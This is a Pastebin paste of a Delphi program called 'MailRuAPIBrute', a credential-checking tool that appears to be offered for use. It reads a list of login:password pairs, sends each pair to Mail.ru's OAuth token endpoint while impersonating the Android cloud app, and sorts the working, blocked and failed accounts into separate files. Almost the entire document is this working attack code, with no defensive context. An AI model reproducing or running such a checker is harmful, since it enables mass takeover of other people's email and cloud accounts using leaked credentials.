Guest User

Untitled

a guest
Apr 6th, 2016
81
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Delphi 4.32 KB | None | 0 0
  1. program MailRuAPIBrute;
  2.  
  3. uses windows, wininet;
  4.  
  5. var
  6.   cAll, cGood, cBlock, cBad: integer;
  7.  
  8. function IntToStr(i:integer):string;
  9. var
  10.   s:string;
  11. begin
  12.   Str(i,s);
  13.   Result:=s;
  14. end;
  15.  
  16. procedure AddToFile(path, s: ansiString);
  17. var
  18.   hFile: THandle;
  19.   Dummy: Cardinal;
  20. begin
  21.   hFile:=CreateFile(PChar(path), GENERIC_WRITE, 0, nil, OPEN_ALWAYS, 0, 0);
  22.   if hFile<>INVALID_HANDLE_VALUE then
  23.   begin
  24.     SetFilePointer(hFile, 0, nil, FILE_END);
  25.     s:=s+#13#10;
  26.     WriteFile(hFile, PChar(s)^, Length(s), Dummy, nil);
  27.     CloseHandle(hFile);
  28.   end;
  29. end;
  30.  
  31. function SSL_SendReq(szHost, szPath, lpszVerb, szHeaders, szData: PansiChar): ansiString;
  32. var
  33.  dwBytes: Dword;
  34.  Buf: array [0..4096] of ansiChar;
  35.  hOpenHandle,
  36.  hConnectHandle,
  37.  hResourceHandle: Pointer;
  38.  bRead: Bool;
  39. begin
  40. result:='';
  41. Buf:='';
  42.  hOpenHandle := InternetOpenA('User-Agent: Android 2.1.2681 4.2.2:GT-I9505:ru.mail.cloud::',0,nil,nil,0);
  43.  if hOpenHandle <> nil then
  44.  begin
  45.    hConnectHandle := InternetConnectA(hOpenHandle,szHost,INTERNET_DEFAULT_HTTPS_PORT,nil,nil,3,$04000000,0);
  46.    if hConnectHandle <> nil then
  47.    begin
  48.      hResourceHandle := HttpOpenRequestA(hConnectHandle,lpszVerb,szPath,nil,nil,nil,INTERNET_FLAG_SECURE,0);
  49.      if hResourceHandle <> nil then
  50.      begin
  51.        if HttpSendRequestA(hResourceHandle,szHeaders,lstrlen(szHeaders),szData,lstrlen(szData)) then
  52.        repeat
  53.          ZeroMemory(@Buf, SizeOf(Buf));
  54.          bRead := InternetReadFile(hResourceHandle, @Buf, 4096, dwBytes);
  55.          Result := Result + Buf;
  56.        until (bRead = false) or (dwBytes = 0);
  57.      end;
  58.      InternetCloseHandle(hResourceHandle);
  59.    end;
  60.    InternetCloseHandle(hConnectHandle);
  61.  end;
  62.  InternetCloseHandle(hOpenHandle);
  63. end;
  64.  
  65.  
  66. (* 0 - Валидный аккаунт      *)
  67. (* 1 - Блокированный аккаунт *)
  68. (* 2 - Невалидный аккаунт    *)
  69. function CheckAccount(login, pass: ansistring): byte;
  70. var
  71.   answer: ansistring;
  72. begin
  73.   answer:=SSL_SendReq(PAnsiChar('o2.mail.ru'),
  74.                       PAnsiChar('/token'),
  75.                       PAnsiChar('POST'),
  76.                       PAnsiChar(''),
  77.                       PAnsiChar('username='+login+'&client_id=cloud-android&grant_type=password&password='+pass));
  78.   if Pos('access_token', answer) <> 0 then
  79.     result:= 0 else
  80.       if Pos('blocked', answer) <> 0 then
  81.         result:= 1 else result:=2;
  82. end;
  83.  
  84.  
  85.  
  86. procedure Brute(basepath: ansistring);
  87. var
  88.   f : TextFile;
  89.   line: ansistring;
  90.   delimiter: ansichar;
  91.   delimiter_pos: integer;
  92.   login, pass: ansistring;
  93. begin
  94.   AssignFile(f, basepath);
  95.   Reset(f);
  96.   While not(eof(f)) do
  97.   begin
  98.     Readln (f, line);
  99.     if Pos(':', line)<>0 then delimiter:=':';
  100.     if Pos(';', line)<>0 then delimiter:=';';
  101.  
  102.     delimiter_pos:=Pos(delimiter, line);
  103.     login:=Copy(line, 1, delimiter_pos-1);
  104.     pass:=Copy(line, delimiter_pos+1, Length(line));
  105.  
  106.     case CheckAccount(login, pass) of
  107.       0:  begin
  108.             AddToFile('good.txt', line);
  109.             SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE), 43);
  110.             writeln('GOOD: '#9+line);
  111.             Inc(cGood);
  112.           end;
  113.       1:  begin
  114.             AddToFile('block.txt', line);
  115.             SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE), 3);
  116.             writeln('BLOCK: '#9+line);
  117.             Inc(cBlock);
  118.           end;
  119.       2:  begin
  120.             AddToFile('bad.txt', line);
  121.             SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE), 192);
  122.             writeln('BAD: '#9+line);
  123.             Inc(cBad);
  124.           end;
  125.     end;
  126.     Inc(cAll);
  127.     SetConsoleTitle(PAnsiChar('MailRuApiBrute - | '+IntToStr(cAll)+' | '+IntToStr(cGood)+' | ' +IntToStr(cBlock)+ ' | '+IntToStr(cBad)));
  128.   end;
  129.   close(f);
  130. end;
  131.  
  132. var
  133.   s: ansistring;
  134. begin
  135.   AllocConsole();
  136.   writeln('= CODED BY CrydBrox =');
  137.   SetConsoleTitle(PAnsiChar('MailRuApiBrute - | '+IntToStr(cAll)+' | '+IntToStr(cGood)+' | ' +IntToStr(cBlock)+ ' | '+IntToStr(cBad)));
  138.  
  139.   if ParamStr(1) = '' then
  140.   begin
  141.     writeln('Drag the BASE to the EXE-file');
  142.     writeln('OR');
  143.     writeln('Drag the BASE to the console window.');
  144.     writeln('And press ENTER');
  145.     readln(s);
  146.     Brute(s);
  147.   end else
  148.     Brute(ParamStr(1));
  149.  
  150.   SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE), 7);
  151.   writeln('Finished!!!');
  152.   readln;
  153. end.
Add Comment
Please, Sign In to add comment